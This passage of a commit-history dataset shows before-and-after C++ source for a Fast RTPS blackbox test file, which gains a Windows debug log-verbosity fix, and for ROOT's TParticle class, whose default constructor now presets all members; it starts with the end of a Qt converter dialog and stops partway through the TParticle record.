return;\n    }\n\n    QVector<ConverterDefinition> converterDefinitions = convertersModel.getConverterDefinitions();\n    if(row < converterDefinitions.count() - 1) {\n        qSwap(converterDefinitions[row], converterDefinitions[row + 1]);\n        convertersModel.setConverterDefinitions(converterDefinitions);\n        tableView.selectRow(row + 1);\n    }\n}\n\nvoid ConverterConfigurationDialog::onRestoreDefaults() {\n    setConverterDefinitions(ConverterDefinition::loadConverterDefinitions(\":\/converters.json\"));\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"RTPSAsNonReliableSocketReader.hpp\"\n#include \"RTPSAsNonReliableSocketWriter.hpp\"\n#include \"RTPSAsReliableSocketReader.hpp\"\n#include \"RTPSAsReliableSocketWriter.hpp\"\n#include \"RTPSAsNonReliableWithRegistrationReader.hpp\"\n#include \"RTPSAsNonReliableWithRegistrationWriter.hpp\"\n#include \"RTPSAsReliableWithRegistrationReader.hpp\"\n#include \"RTPSAsReliableWithRegistrationWriter.hpp\"\n#include \"PubSubAsNonReliableHelloWorldReader.hpp\"\n#include \"PubSubAsNonReliableHelloWorldWriter.hpp\"\n#include \"PubSubAsReliableHelloWorldReader.hpp\"\n#include \"PubSubAsReliableHelloWorldWriter.hpp\"\n\n#include <fastrtps\/rtps\/RTPSDomain.h>\n\n#include <gtest\/gtest.h>\n\nclass BlackboxEnvironment : public ::testing::Environment\n{\n    public:\n\n        void SetUp() {}\n\n        void TearDown()\n        {\n            eprosima::fastrtps::rtps::RTPSDomain::stopAll();\n        }\n};\n\nTEST(BlackBox, RTPSAsNonReliableSocket)\n{\n    RTPSAsNonReliableSocketReader reader;\n    RTPSAsNonReliableSocketWriter writer;\n    std::string ip(\"239.255.1.4\");\n    const uint32_t port = 22222;\n    const uint16_t nmsgs = 100;\n    \n    reader.init(ip, port, nmsgs);\n\n    if(!reader.isInitialized())\n        return;\n\n    writer.init(ip, port);\n\n    if(!writer.isInitialized())\n        return;\n\n    for(unsigned int tries = 0; tries < 20; ++tries)\n    {\n        std::list<uint16_t> msgs = reader.getNonReceivedMessages();\n        if(msgs.empty())\n            break;\n\n        writer.send(msgs);\n        reader.block(*msgs.rbegin(), std::chrono::seconds(1));\n    }\n\n    std::list<uint16_t> msgs = reader.getNonReceivedMessages();\n    if(msgs.size() != 0)\n    {\n        std::cout << \"Samples not received:\";\n        for(std::list<uint16_t>::iterator it = msgs.begin(); it != msgs.end(); ++it)\n            std::cout << \" \" << *it << \" \";\n        std::cout << std::endl;\n    }\n    ASSERT_EQ(msgs.size(), 0);\n}\n\nTEST(BlackBox, RTPSAsReliableSocket)\n{\n    RTPSAsReliableSocketReader reader;\n    RTPSAsReliableSocketWriter writer;\n    std::string ip(\"239.255.1.4\");\n    const uint32_t port = 7400;\n    const uint16_t nmsgs = 100;\n    \n    reader.init(ip, port, nmsgs);\n\n    if(!reader.isInitialized())\n        return;\n\n    writer.init(ip, port);\n\n    if(!writer.isInitialized())\n        return;\n\n    std::list<uint16_t> msgs = reader.getNonReceivedMessages();\n\n    writer.send(msgs);\n    reader.block(*msgs.rbegin(), std::chrono::seconds(60));\n\n    msgs = reader.getNonReceivedMessages();\n    if(msgs.size() != 0)\n    {\n        std::cout << \"Samples not received:\";\n        for(std::list<uint16_t>::iterator it = msgs.begin(); it != msgs.end(); ++it)\n            std::cout << \" \" << *it << \" \";\n        std::cout << std::endl;\n    }\n    ASSERT_EQ(msgs.size(), 0);\n}\n\nTEST(BlackBox, RTPSAsNonReliableWithRegistration)\n{\n    RTPSAsNonReliableWithRegistrationReader reader;\n    RTPSAsNonReliableWithRegistrationWriter writer;\n    const uint32_t port = 22222;\n    const uint16_t nmsgs = 100;\n    \n    reader.init(port, nmsgs);\n\n    if(!reader.isInitialized())\n        return;\n\n    writer.init();\n\n    if(!writer.isInitialized())\n        return;\n\n    for(unsigned int tries = 0; tries < 20; ++tries)\n    {\n        std::list<uint16_t> msgs = reader.getNonReceivedMessages();\n        if(msgs.empty())\n            break;\n\n        writer.send(msgs);\n        reader.block(*msgs.rbegin(), std::chrono::seconds(1));\n    }\n\n    std::list<uint16_t> msgs = reader.getNonReceivedMessages();\n    if(msgs.size() != 0)\n    {\n        std::cout << \"Samples not received:\";\n        for(std::list<uint16_t>::iterator it = msgs.begin(); it != msgs.end(); ++it)\n            std::cout << \" \" << *it << \" \";\n        std::cout << std::endl;\n    }\n    ASSERT_EQ(msgs.size(), 0);\n}\n\nTEST(BlackBox, RTPSAsReliableWithRegistration)\n{\n    RTPSAsReliableWithRegistrationReader reader;\n    RTPSAsReliableWithRegistrationWriter writer;\n    const uint32_t port = 7400;\n    const uint16_t nmsgs = 100;\n    \n    reader.init(port, nmsgs);\n\n    if(!reader.isInitialized())\n        return;\n\n    writer.init();\n\n    if(!writer.isInitialized())\n        return;\n\n    \/\/ Because its volatile the durability\n    reader.waitDiscovery();\n\n    std::list<uint16_t> msgs = reader.getNonReceivedMessages();\n\n    writer.send(msgs);\n    reader.block(*msgs.rbegin(), std::chrono::seconds(60));\n\n    msgs = reader.getNonReceivedMessages();\n    if(msgs.size() != 0)\n    {\n        std::cout << \"Samples not received:\";\n        for(std::list<uint16_t>::iterator it = msgs.begin(); it != msgs.end(); ++it)\n            std::cout << \" \" << *it << \" \";\n        std::cout << std::endl;\n    }\n    ASSERT_EQ(msgs.size(), 0);\n}\n\nTEST(BlackBox, PubSubAsNonReliableHelloworld)\n{\n    PubSubAsNonReliableHelloWorldReader reader;\n    PubSubAsNonReliableHelloWorldWriter writer;\n    const uint16_t nmsgs = 100;\n    \n    reader.init(nmsgs);\n\n    if(!reader.isInitialized())\n        return;\n\n    writer.init();\n\n    if(!writer.isInitialized())\n        return;\n\n    for(unsigned int tries = 0; tries < 20; ++tries)\n    {\n        std::list<uint16_t> msgs = reader.getNonReceivedMessages();\n        if(msgs.empty())\n            break;\n\n        writer.send(msgs);\n        reader.block(*msgs.rbegin(), std::chrono::seconds(1));\n    }\n\n    std::list<uint16_t> msgs = reader.getNonReceivedMessages();\n    if(msgs.size() != 0)\n    {\n        std::cout << \"Samples not received:\";\n        for(std::list<uint16_t>::iterator it = msgs.begin(); it != msgs.end(); ++it)\n            std::cout << \" \" << *it << \" \";\n        std::cout << std::endl;\n    }\n    ASSERT_EQ(msgs.size(), 0);\n}\n\nTEST(BlackBox, PubSubAsReliableHelloworld)\n{\n    PubSubAsReliableHelloWorldReader reader;\n    PubSubAsReliableHelloWorldWriter writer;\n    const uint16_t nmsgs = 100;\n    \n    reader.init(nmsgs);\n\n    if(!reader.isInitialized())\n        return;\n\n    writer.init();\n\n    if(!writer.isInitialized())\n        return;\n\n    \/\/ Because its volatile the durability\n    reader.waitDiscovery();\n\n    std::list<uint16_t> msgs = reader.getNonReceivedMessages();\n\n    writer.send(msgs);\n    reader.block(*msgs.rbegin(), std::chrono::seconds(60));\n\n    msgs = reader.getNonReceivedMessages();\n    if(msgs.size() != 0)\n    {\n        std::cout << \"Samples not received:\";\n        for(std::list<uint16_t>::iterator it = msgs.begin(); it != msgs.end(); ++it)\n            std::cout << \" \" << *it << \" \";\n        std::cout << std::endl;\n    }\n    ASSERT_EQ(msgs.size(), 0);\n}\n\nint main(int argc, char **argv)\n{\n    testing::InitGoogleTest(&argc, argv);\n    testing::AddGlobalTestEnvironment(new BlackboxEnvironment);\n    return RUN_ALL_TESTS();\n}\n<commit_msg>Fixed test on Windows in debug mode<commit_after>#include \"RTPSAsNonReliableSocketReader.hpp\"\n#include \"RTPSAsNonReliableSocketWriter.hpp\"\n#include \"RTPSAsReliableSocketReader.hpp\"\n#include \"RTPSAsReliableSocketWriter.hpp\"\n#include \"RTPSAsNonReliableWithRegistrationReader.hpp\"\n#include \"RTPSAsNonReliableWithRegistrationWriter.hpp\"\n#include \"RTPSAsReliableWithRegistrationReader.hpp\"\n#include \"RTPSAsReliableWithRegistrationWriter.hpp\"\n#include \"PubSubAsNonReliableHelloWorldReader.hpp\"\n#include \"PubSubAsNonReliableHelloWorldWriter.hpp\"\n#include \"PubSubAsReliableHelloWorldReader.hpp\"\n#include \"PubSubAsReliableHelloWorldWriter.hpp\"\n\n#include <fastrtps\/rtps\/RTPSDomain.h>\n\n#include <gtest\/gtest.h>\n\nclass BlackboxEnvironment : public ::testing::Environment\n{\n    public:\n\n        void SetUp() {}\n\n        void TearDown()\n        {\n            eprosima::fastrtps::rtps::RTPSDomain::stopAll();\n        }\n};\n\nTEST(BlackBox, RTPSAsNonReliableSocket)\n{\n    RTPSAsNonReliableSocketReader reader;\n    RTPSAsNonReliableSocketWriter writer;\n    std::string ip(\"239.255.1.4\");\n    const uint32_t port = 22222;\n    const uint16_t nmsgs = 100;\n    \n    reader.init(ip, port, nmsgs);\n\n    if(!reader.isInitialized())\n        return;\n\n    writer.init(ip, port);\n\n    if(!writer.isInitialized())\n        return;\n\n    for(unsigned int tries = 0; tries < 20; ++tries)\n    {\n        std::list<uint16_t> msgs = reader.getNonReceivedMessages();\n        if(msgs.empty())\n            break;\n\n        writer.send(msgs);\n        reader.block(*msgs.rbegin(), std::chrono::seconds(1));\n    }\n\n    std::list<uint16_t> msgs = reader.getNonReceivedMessages();\n    if(msgs.size() != 0)\n    {\n        std::cout << \"Samples not received:\";\n        for(std::list<uint16_t>::iterator it = msgs.begin(); it != msgs.end(); ++it)\n            std::cout << \" \" << *it << \" \";\n        std::cout << std::endl;\n    }\n    ASSERT_EQ(msgs.size(), 0);\n}\n\nTEST(BlackBox, RTPSAsReliableSocket)\n{\n    RTPSAsReliableSocketReader reader;\n    RTPSAsReliableSocketWriter writer;\n    std::string ip(\"239.255.1.4\");\n    const uint32_t port = 7400;\n    const uint16_t nmsgs = 100;\n    \n    reader.init(ip, port, nmsgs);\n\n    if(!reader.isInitialized())\n        return;\n\n    writer.init(ip, port);\n\n    if(!writer.isInitialized())\n        return;\n\n    std::list<uint16_t> msgs = reader.getNonReceivedMessages();\n\n    writer.send(msgs);\n    reader.block(*msgs.rbegin(), std::chrono::seconds(60));\n\n    msgs = reader.getNonReceivedMessages();\n    if(msgs.size() != 0)\n    {\n        std::cout << \"Samples not received:\";\n        for(std::list<uint16_t>::iterator it = msgs.begin(); it != msgs.end(); ++it)\n            std::cout << \" \" << *it << \" \";\n        std::cout << std::endl;\n    }\n    ASSERT_EQ(msgs.size(), 0);\n}\n\nTEST(BlackBox, RTPSAsNonReliableWithRegistration)\n{\n    RTPSAsNonReliableWithRegistrationReader reader;\n    RTPSAsNonReliableWithRegistrationWriter writer;\n    const uint32_t port = 22222;\n    const uint16_t nmsgs = 100;\n    \n    reader.init(port, nmsgs);\n\n    if(!reader.isInitialized())\n        return;\n\n    writer.init();\n\n    if(!writer.isInitialized())\n        return;\n\n    for(unsigned int tries = 0; tries < 20; ++tries)\n    {\n        std::list<uint16_t> msgs = reader.getNonReceivedMessages();\n        if(msgs.empty())\n            break;\n\n        writer.send(msgs);\n        reader.block(*msgs.rbegin(), std::chrono::seconds(1));\n    }\n\n    std::list<uint16_t> msgs = reader.getNonReceivedMessages();\n    if(msgs.size() != 0)\n    {\n        std::cout << \"Samples not received:\";\n        for(std::list<uint16_t>::iterator it = msgs.begin(); it != msgs.end(); ++it)\n            std::cout << \" \" << *it << \" \";\n        std::cout << std::endl;\n    }\n    ASSERT_EQ(msgs.size(), 0);\n}\n\nTEST(BlackBox, RTPSAsReliableWithRegistration)\n{\n    RTPSAsReliableWithRegistrationReader reader;\n    RTPSAsReliableWithRegistrationWriter writer;\n    const uint32_t port = 7400;\n    const uint16_t nmsgs = 100;\n    \n    reader.init(port, nmsgs);\n\n    if(!reader.isInitialized())\n        return;\n\n    writer.init();\n\n    if(!writer.isInitialized())\n        return;\n\n    \/\/ Because its volatile the durability\n    reader.waitDiscovery();\n\n    std::list<uint16_t> msgs = reader.getNonReceivedMessages();\n\n    writer.send(msgs);\n    reader.block(*msgs.rbegin(), std::chrono::seconds(60));\n\n    msgs = reader.getNonReceivedMessages();\n    if(msgs.size() != 0)\n    {\n        std::cout << \"Samples not received:\";\n        for(std::list<uint16_t>::iterator it = msgs.begin(); it != msgs.end(); ++it)\n            std::cout << \" \" << *it << \" \";\n        std::cout << std::endl;\n    }\n    ASSERT_EQ(msgs.size(), 0);\n}\n\nTEST(BlackBox, PubSubAsNonReliableHelloworld)\n{\n    PubSubAsNonReliableHelloWorldReader reader;\n    PubSubAsNonReliableHelloWorldWriter writer;\n    const uint16_t nmsgs = 100;\n    \n    reader.init(nmsgs);\n\n    if(!reader.isInitialized())\n        return;\n\n    writer.init();\n\n    if(!writer.isInitialized())\n        return;\n\n    for(unsigned int tries = 0; tries < 20; ++tries)\n    {\n        std::list<uint16_t> msgs = reader.getNonReceivedMessages();\n        if(msgs.empty())\n            break;\n\n        writer.send(msgs);\n        reader.block(*msgs.rbegin(), std::chrono::seconds(1));\n    }\n\n    std::list<uint16_t> msgs = reader.getNonReceivedMessages();\n    if(msgs.size() != 0)\n    {\n        std::cout << \"Samples not received:\";\n        for(std::list<uint16_t>::iterator it = msgs.begin(); it != msgs.end(); ++it)\n            std::cout << \" \" << *it << \" \";\n        std::cout << std::endl;\n    }\n    ASSERT_EQ(msgs.size(), 0);\n}\n\nTEST(BlackBox, PubSubAsReliableHelloworld)\n{\n    PubSubAsReliableHelloWorldReader reader;\n    PubSubAsReliableHelloWorldWriter writer;\n    const uint16_t nmsgs = 100;\n    \n    reader.init(nmsgs);\n\n    if(!reader.isInitialized())\n        return;\n\n    writer.init();\n\n    if(!writer.isInitialized())\n        return;\n\n    \/\/ Because its volatile the durability\n    reader.waitDiscovery();\n\n    std::list<uint16_t> msgs = reader.getNonReceivedMessages();\n\n    writer.send(msgs);\n    reader.block(*msgs.rbegin(), std::chrono::seconds(60));\n\n    msgs = reader.getNonReceivedMessages();\n    if(msgs.size() != 0)\n    {\n        std::cout << \"Samples not received:\";\n        for(std::list<uint16_t>::iterator it = msgs.begin(); it != msgs.end(); ++it)\n            std::cout << \" \" << *it << \" \";\n        std::cout << std::endl;\n    }\n    ASSERT_EQ(msgs.size(), 0);\n}\n\nint main(int argc, char **argv)\n{\n    testing::InitGoogleTest(&argc, argv);\n    testing::AddGlobalTestEnvironment(new BlackboxEnvironment);\n#if defined(WIN32) && defined(_DEBUG)\n    eprosima::Log::setVerbosity(eprosima::LOG_VERBOSITY_LVL::VERB_ERROR);\n#endif\n    return RUN_ALL_TESTS();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ @(#)root\/eg:$Name:  $:$Id: TParticle.cxx,v 1.5 2001\/03\/23 18:04:50 brun Exp $\n\/\/ Author: Rene Brun , Federico Carminati  26\/04\/99\n\n#include \"TView.h\"\n#include \"TVirtualPad.h\"\n#include \"TPolyLine3D.h\"\n#include \"TDatabasePDG.h\"\n#include \"TParticle.h\"\n\nClassImp(TParticle)\n\n\/\/______________________________________________________________________________\nTParticle::TParticle()\n{\n  fParticlePDG = 0;\n}\n\n\/\/______________________________________________________________________________\nTParticle::TParticle(Int_t pdg,       Int_t status,\n                     Int_t mother1,   Int_t mother2,\n                     Int_t daughter1, Int_t daughter2,\n                     Double_t px, Double_t py, Double_t pz, Double_t etot,\n                     Double_t vx, Double_t vy, Double_t vz, Double_t time):\n  fPdgCode(pdg), fStatusCode(status), fWeight(1.),fPx(px), fPy(py),\n  fPz(pz), fE(etot), fVx(vx), fVy(vy), fVz(vz), fVt(time)\n{\n  fMother[0]   = mother1;\n  fMother[1]   = mother2;\n  fDaughter[0] = daughter1;\n  fDaughter[1] = daughter2;\n\n  SetPolarisation(0,0,0);\n\n  fParticlePDG = TDatabasePDG::Instance()->GetParticle(pdg);\n  if (fParticlePDG) {\n     fCalcMass    = fParticlePDG->Mass();\n  } else {\n     Double_t a2 = fE*fE -fPx*fPx -fPy*fPy -fPz*fPz;\n     if (a2 >= 0) fCalcMass =  TMath::Sqrt(a2);\n     else         fCalcMass = -TMath::Sqrt(-a2);\n  }\n}\n\n\/\/______________________________________________________________________________\nTParticle::TParticle(Int_t pdg,       Int_t status,\n                     Int_t mother1,   Int_t mother2,\n                     Int_t daughter1, Int_t daughter2,\n                     const TLorentzVector &p,\n                     const TLorentzVector &v) :\n  fPdgCode(pdg), fStatusCode(status), fWeight(1.),fPx(p.Px()), fPy(p.Py()),\n  fPz(p.Pz()), fE(p.E()), fVx(v.X()), fVy(v.Y()), fVz(v.Z()), fVt(v.T())\n{\n  fMother[0]   = mother1;\n  fMother[1]   = mother2;\n  fDaughter[0] = daughter1;\n  fDaughter[1] = daughter2;\n\n  SetPolarisation(0,0,0);\n\n  fParticlePDG = TDatabasePDG::Instance()->GetParticle(pdg);\n  if (fParticlePDG) {\n     fCalcMass    = fParticlePDG->Mass();\n  } else {\n     Double_t a2 = fE*fE -fPx*fPx -fPy*fPy -fPz*fPz;\n     if (a2 >= 0) fCalcMass =  TMath::Sqrt(a2);\n     else         fCalcMass = -TMath::Sqrt(-a2);\n  }\n}\n\n\/\/______________________________________________________________________________\nTParticle::TParticle(const TParticle &p)\n{\n    \/\/ copy constructor\n\n   *this = p;\n}\n\n\/\/______________________________________________________________________________\nTParticle::~TParticle()\n{\n}\n\n\/\/______________________________________________________________________________\nInt_t TParticle::DistancetoPrimitive(Int_t px, Int_t py)\n{\n\/\/*-*-*-*-*-*-*-*Compute distance from point px,py to a primary track*-*-*-*\n\/\/*-*            ====================================================\n\/\/*-*\n\/\/*-*  Compute the closest distance of approach from point px,py to each segment\n\/\/*-*  of a track.\n\/\/*-*  The distance is computed in pixels units.\n\/\/*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\n\n   const Int_t big = 9999;\n   Float_t xv[3], xe[3], xndc[3];\n   Float_t rmin[3], rmax[3];\n   TView *view = gPad->GetView();\n   if(!view) return big;\n\n   \/\/ compute first and last point in pad coordinates\n   Float_t pmom = this->P();\n   if (pmom == 0) return big;\n   view->GetRange(rmin,rmax);\n   Float_t rbox = rmax[2];\n   xv[0] = fVx;\n   xv[1] = fVy;\n   xv[2] = fVz;\n   xe[0] = xv[0]+rbox*fPx\/pmom;\n   xe[1] = xv[1]+rbox*fPy\/pmom;\n   xe[2] = xv[2]+rbox*fPz\/pmom;\n   view->WCtoNDC(xv, xndc);\n   Float_t x1 = xndc[0];\n   Float_t y1 = xndc[1];\n   view->WCtoNDC(xe, xndc);\n   Float_t x2 = xndc[0];\n   Float_t y2 = xndc[1];\n\n   return DistancetoLine(px,py,x1,y1,x2,y2);\n}\n\n\n\/\/______________________________________________________________________________\nvoid TParticle::ExecuteEvent(Int_t, Int_t, Int_t)\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Execute action corresponding to one event*-*-*-*\n\/\/*-*                  =========================================\n\n   gPad->SetCursor(kPointer);\n}\n\n\/\/______________________________________________________________________________\nconst char* TParticle::GetName() const {\n   static char def[4] = \"XXX\";\n   const TParticlePDG *ap = TDatabasePDG::Instance()->GetParticle(fPdgCode);\n   if (ap) return ap->GetName();\n   else    return def;\n}\n\n\n\/\/______________________________________________________________________________\nTParticlePDG*  TParticle::GetPDG(Int_t mode)\n{\n\/\/ returns a pointer to the TParticlePDG object using the pdgcode\n\/\/ if mode == 0 (default) always get a fresh value for the pointer.\n\/\/ if mode != 0 this function returns directly the previously\n\/\/              computed pointer from a previous call\n\/\/ One can use mode=1 (faster) when the TParticle object is not part of a\n\/\/ TClonesArray used in split mode in a Root TTree.\n\n  if (!mode || !fParticlePDG) {\n     (((TParticle*)this)->fParticlePDG = TDatabasePDG::Instance()->GetParticle(fPdgCode));\n     \/\/ when mutable will be allowed, change above line to the following line\n     \/\/   fParticlePDG = TDatabasePDG::Instance()->GetParticle(fPdgCode);}\n  }\n  return fParticlePDG;\n}\n\n\/\/______________________________________________________________________________\nvoid TParticle::GetPolarisation(TVector3 &v)\n{\n  if(fPolarTheta == -99 && fPolarPhi == -99)\n    \/\/No polarisation to return\n    v.SetXYZ(0.,0.,0.);\n  else\n    v.SetXYZ(TMath::Cos(fPolarPhi)*TMath::Sin(fPolarTheta),\n             TMath::Sin(fPolarPhi)*TMath::Sin(fPolarTheta),\n             TMath::Cos(fPolarTheta));\n}\n\n\/\/______________________________________________________________________________\nconst char *TParticle::GetTitle() const\n{\n   static char def[4] = \"XXX\";\n   const TParticlePDG *ap = TDatabasePDG::Instance()->GetParticle(fPdgCode);\n   if (ap) return ap->GetTitle();\n   else    return def;\n}\n\n\/\/______________________________________________________________________________\nvoid TParticle::Paint(Option_t *option)\n{\n\/\/\n\/\/  Paint a primary track\n\/\/\n   Float_t rmin[3], rmax[3];\n   static TPolyLine3D *pline = 0;\n   if (!pline) {\n      pline = new TPolyLine3D(2);\n   }\n   Float_t pmom = this->P();\n   if (pmom == 0) return;\n   TView *view = gPad->GetView();\n   if (!view) return;\n   view->GetRange(rmin,rmax);\n   Float_t rbox = rmax[2];\n   pline->SetPoint(0,Vx(), Vy(), Vz());\n   Float_t xend = Vx()+rbox*Px()\/pmom;\n   Float_t yend = Vy()+rbox*Py()\/pmom;\n   Float_t zend = Vz()+rbox*Pz()\/pmom;\n   pline->SetPoint(1, xend, yend, zend);\n   pline->SetLineColor(GetLineColor());\n   pline->SetLineStyle(GetLineStyle());\n   pline->SetLineWidth(GetLineWidth());\n   pline->Paint(option);\n}\n\n\/\/______________________________________________________________________________\nvoid TParticle::Print(Option_t *) const\n{\n\/\/\n\/\/  Print the internals of the primary vertex particle\n\/\/\n   \/\/TParticlePDG* pdg = ((TParticle*)this)->GetPDG();\n   Printf(\"TParticle: %-13s  p: %8f %8f %8f Vertex: %8e %8e %8e %5d %5d %s\",\n          GetName(),Px(),Py(),Pz(),Vx(),Vy(),Vz(),\n          fMother[0],fMother[1]);\n}\n\n\/\/______________________________________________________________________________\nvoid TParticle::SetPolarisation(Double_t polx, Double_t poly, Double_t polz)\n{\n  if(polx || poly || polz) {\n    fPolarTheta = TMath::ACos(polz\/TMath::Sqrt(polx*polx+poly*poly+polz*polz));\n    fPolarPhi   = kPI+TMath::ATan2(-poly,-polx);\n  } else {\n    fPolarTheta = -99;\n    fPolarPhi = -99;\n  }\n}\n\n\/\/______________________________________________________________________________\nvoid TParticle::Sizeof3D() const\n{\n\/\/*-*-*-*-*-*Return total X3D size of this primary*-*-*-*-*-*-*\n\/\/*-*        =====================================\n\n   Float_t pmom = this->P();\n   if (pmom == 0) return;\n   Int_t npoints = 2;\n   gSize3D.numPoints += npoints;\n   gSize3D.numSegs   += (npoints-1);\n   gSize3D.numPolys  += 0;\n\n}\n\n\/\/______________________________________________________________________________\nvoid TParticle::Streamer(TBuffer &R__b)\n{\n   \/\/ Stream an object of class TParticle.\n\n   if (R__b.IsReading()) {\n      UInt_t R__s, R__c;\n      Version_t R__v = R__b.ReadVersion(&R__s, &R__c);\n      if (R__v > 1) {\n         TParticle::Class()->ReadBuffer(R__b, this, R__v, R__s, R__c);\n         fParticlePDG = TDatabasePDG::Instance()->GetParticle(fPdgCode);\n         return;\n      }\n      \/\/====process old versions before automatic schema evolution\n      TObject::Streamer(R__b);\n      TAttLine::Streamer(R__b);\n      R__b >> fPdgCode;\n      R__b >> fStatusCode;\n      R__b.ReadStaticArray(fMother);\n      R__b.ReadStaticArray(fDaughter);\n      R__b >> fWeight;\n      R__b >> fCalcMass;\n      R__b >> fPx;\n      R__b >> fPy;\n      R__b >> fPz;\n      R__b >> fE;\n      R__b >> fVx;\n      R__b >> fVy;\n      R__b >> fVz;\n      R__b >> fVt;\n      R__b >> fPolarTheta;\n      R__b >> fPolarPhi;\n      fParticlePDG = TDatabasePDG::Instance()->GetParticle(fPdgCode);\n      R__b.CheckByteCount(R__s, R__c, TParticle::IsA());\n      \/\/====end of old versions\n      \n   } else {\n      TParticle::Class()->WriteBuffer(R__b,this);\n   }\n}\n<commit_msg>Preset all members of TParticle in the default constructor.<commit_after>\/\/ @(#)root\/eg:$Name:  $:$Id: TParticle.cxx,v 1.6 2001\/08\/23 22:11:48 brun Exp $\n\/\/ Author: Rene Brun , Federico Carminati  26\/04\/99\n\n#include \"TView.h\"\n#include \"TVirtualPad.h\"\n#include \"TPolyLine3D.h\"\n#include \"TDatabasePDG.h\"\n#include \"TParticle.h\"\n\nClassImp(TParticle)\n\n\/\/______________________________________________________________________________\nTParticle::TParticle() :\n  fPdgCode(0), fStatusCode(0), fWeight(0),fCalcMass(0), fPx(0), fPy(0),\n  fPz(0), fE(0), fVx(0), fVy(0), fVz(0), fVt(0), fPolarTheta(0), fPolarPhi(0)\n{\n  fMother[0]   = 0;\n  fMother[1]   = 0;\n  fDaughter[0] = 0;\n  fDaughter[1] = 0;\n  fParticlePDG = 0;\n}\n\n\/\/______________________________________________________________________________\nTParticle::TParticle(Int_t pdg,       Int_t status,\n                     Int_t mother1,   Int_t mother2,\n                     Int_t daughter1, Int_t daughter2,\n                     Double_t px, Double_t py, Double_t pz, Double_t etot,\n                     Double_t vx, Double_t vy, Double_t vz, Double_t time):\n  fPdgCode(pdg), fStatusCode(status), fWeight(1.),fPx(px), fPy(py),\n  fPz(pz), fE(etot), fVx(vx), fVy(vy), fVz(vz), fVt(time)\n{\n  fMother[0]   = mother1;\n  fMother[1]   = mother2;\n  fDaughter[0] = daughter1;\n  fDaughter[1] = daughter2;\n\n  SetPolarisation(0,0,0);\n\n  fParticlePDG = TDatabasePDG::Instance()->GetParticle(pdg);\n  if (fParticlePDG) {\n     fCalcMass    = fParticlePDG->Mass();\n  } else {\n     Double_t a2 = fE*fE -fPx*fPx -fPy*fPy -fPz*fPz;\n     if (a2 >= 0) fCalcMass =  TMath::Sqrt(a2);\n     else         fCalcMass = -TMath::Sqrt(-a2);\n  }\n}\n\n\/\/______________________________________________________________________________\nTParticle::TParticle(Int_t pdg,       Int_t status,\n                     Int_t mother1,   Int_t mother2,\n                     Int_t daughter1, Int_t daughter2,\n                     const TLorentzVector &p,\n                     const TLorentzVector &v) :\n  fPdgCode(pdg), fStatusCode(status), fWeight(1.),fPx(p.Px()), fPy(p.Py()),\n  fPz(p.Pz()), fE(p.E()), fVx(v.X()), fVy(v.Y()), fVz(v.Z()), fVt(v.T())\n{\n  fMother[0]   = mother1;\n  fMother[1]   = mother2;\n  fDaughter[0] = daughter1;\n  fDaughter[1] = daughter2;\n\n  SetPolarisation(0,0,0);\n\n  fParticlePDG = TDatabasePDG::Instance()->GetParticle(pdg);\n  if (fParticlePDG) {\n     fCalcMass    = fParticlePDG->Mass();\n  } else {\n     Double_t a2 = fE*fE -fPx*fPx -fPy*fPy -fPz*fPz;\n     if (a2 >= 0) fCalcMass =  TMath::Sqrt(a2);\n     else         fCalcMass = -TMath::Sqrt(-a2);\n  }\n}\n\n\/\/______________________________________________________________________________\nTParticle::TParticle(const TParticle &p)\n{\n    \/\/ copy constructor\n\n   *this = p;\n}\n\n\/\/______________________________________________________________________________\nTParticle::~TParticle()\n{\n}\n\n\/\/______________________________________________________________________________\nInt_t TParticle::DistancetoPrimitive(Int_t px, Int_t py)\n{\n\/\/*-*-*-*-*-*-*-*Compute distance from point px,py to a primary track*-*-*-*\n\/\/*-*            ====================================================\n\/\/*-*\n\/\/*-*  Compute the closest distance of approach from point px,py to each segment\n\/\/*-*  of a track.\n\/\/*-*  The distance is computed in pixels units.\n\/\/*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\n\n   const Int_t big = 9999;\n   Float_t xv[3], xe[3], xndc[3];\n   Float_t rmin[3], rmax[3];\n   TView *view = gPad->GetView();\n   if(!view) return big;\n\n   \/\/ compute first and last point in pad coordinates\n   Float_t pmom = this->P();\n   if (pmom == 0) return big;\n   view->GetRange(rmin,rmax);\n   Float_t rbox = rmax[2];\n   xv[0] = fVx;\n   xv[1] = fVy;\n   xv[2] = fVz;\n   xe[0] = xv[0]+rbox*fPx\/pmom;\n   xe[1] = xv[1]+rbox*fPy\/pmom;\n   xe[2] = xv[2]+rbox*fPz\/pmom;\n   view->WCtoNDC(xv, xndc);\n   Float_t x1 = xndc[0];\n   Float_t y1 = xndc[1];\n   view->WCtoNDC(xe, xndc);\n   Float_t x2 = xndc[0];\n   Float_t y2 = xndc[1];\n\n   return DistancetoLine(px,py,x1,y1,x2,y2);\n}\n\n\n\/\/______________________________________________________________________________\nvoid TParticle::ExecuteEvent(Int_t, Int_t, Int_t)\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Execute action corresponding to one event*-*-*-*\n\/\/*-*                  =========================================\n\n   gPad->SetCursor(kPointer);\n}\n\n\/\/______________________________________________________________________________\nconst char* TParticle::GetName() const {\n   static char def[4] = \"XXX\";\n   const TParticlePDG *ap = TDatabasePDG::Instance()->GetParticle(fPdgCode);\n   if (ap) return ap->GetName();\n   else    return def;\n}\n\n\n\/\/______________________________________________________________________________\nTParticlePDG*  TParticle::GetPDG(Int_t mode)\n{\n\/\/ returns a pointer to the TParticlePDG object using the pdgcode\n\/\/ if mode == 0 (default) always get a fresh value for the pointer.\n\/\/ if mode != 0 this function returns directly the previously\n\/\/              computed pointer from a previous call\n\/\/ One can use mode=1 (faster) when the TParticle object is not part of a\n\/\/ TClonesArray used in split mode in a Root TTree.\n\n  if (!mode || !fParticlePDG) {\n     (((TParticle*)this)->fParticlePDG = TDatabasePDG::Instance()->GetParticle(fPdgCode));\n     \/\/ when mutable will be allowed, change above line to the following line\n     \/\/   fParticlePDG = TDatabasePDG::Instance()->GetParticle(fPdgCode);}\n  }\n  return fParticlePDG;\n}\n\n\/\/______________________________________________________________________________\nvoid TParticle::GetPolarisation(TVector3 &v)\n{\n  if(fPolarTheta == -99 && fPolarPhi == -99)\n    \/\/No polarisation to 